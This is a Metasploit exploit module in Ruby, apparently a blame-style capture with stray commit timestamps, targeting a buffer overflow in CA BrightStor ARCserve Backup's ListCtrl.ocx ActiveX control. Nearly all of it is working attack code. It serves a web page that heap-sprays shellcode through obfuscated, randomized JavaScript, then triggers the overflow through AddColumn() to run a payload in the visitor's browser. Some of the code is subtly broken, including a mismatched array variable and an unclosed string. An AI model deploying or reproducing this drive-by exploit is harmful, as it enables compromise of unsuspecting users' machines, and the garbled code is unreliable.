2009-01-04 21:51:04 +00:00
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###
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## This file is part of the Metasploit Framework and may be subject to
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## redistribution and commercial restrictions. Please see the Metasploit
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## Framework web site for more information on licensing and terms of use.
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2009-04-13 14:33:26 +00:00
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## http://metasploit.com/framework/
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2009-01-04 21:51:04 +00:00
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###
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow',
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'Description' => %q{
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The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based
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buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker
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could overflow a buffer and execute arbitrary code on the system.
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},
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'License' => MSF_LICENSE,
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2009-01-05 13:09:18 +00:00
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'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
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2009-01-04 21:51:04 +00:00
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'Version' => '$Revision',
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'References' =>
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[
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2009-05-14 19:56:07 +00:00
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[ 'CVE','CVE-2008-1472 '],
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[ 'OSVDB', '43214' ],
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2009-01-04 21:51:04 +00:00
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP2-SP3 IE 6.0/7.0', { 'Ret' => 0x0A0A0A0A } ]
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],
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'DisclosureDate' => 'March 16 2008',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload.
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Create some nops.
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nops = Rex::Text.to_unescape(make_nops(4))
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# Set the return.
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ret = Rex::Text.to_unescape([target.ret].pack('V'))
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# Randomize the javascript variable names.
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vname = rand_text_alpha(rand(30) + 1)
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var_i = rand_text_alpha(rand(5) + 1)
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rand1 = rand_text_alpha(rand(100) + 1)
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rand2 = rand_text_alpha(rand(100) + 1)
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rand3 = rand_text_alpha(rand(100) + 1)
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rand4 = rand_text_alpha(rand(100) + 1)
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rand5 = rand_text_alpha(rand(100) + 1)
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rand6 = rand_text_alpha(rand(100) + 1)
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rand7 = rand_text_alpha(rand(100) + 1)
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content = %Q|
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<html>
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<object id="#{vname}" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>
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<script>
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var #{rand1} = unescape("#{shellcode}");
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var #{rand2} = 0x0A0A0A0A;
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var #{rand3} = 0x400000;
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var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};
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var #{rand5} = unescape("#{ret}");
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var #{rand6} = 128;
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while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};
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#{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);
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#{rand8} = new Array();
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for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};
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while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};
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#{rand5} = #{rand5}.substring(0, #{rand6});
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#{vname}.AddColumn(#{rand5}, 1);
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</script>
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</html>
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content = Rex::Text.randomize_space(content)
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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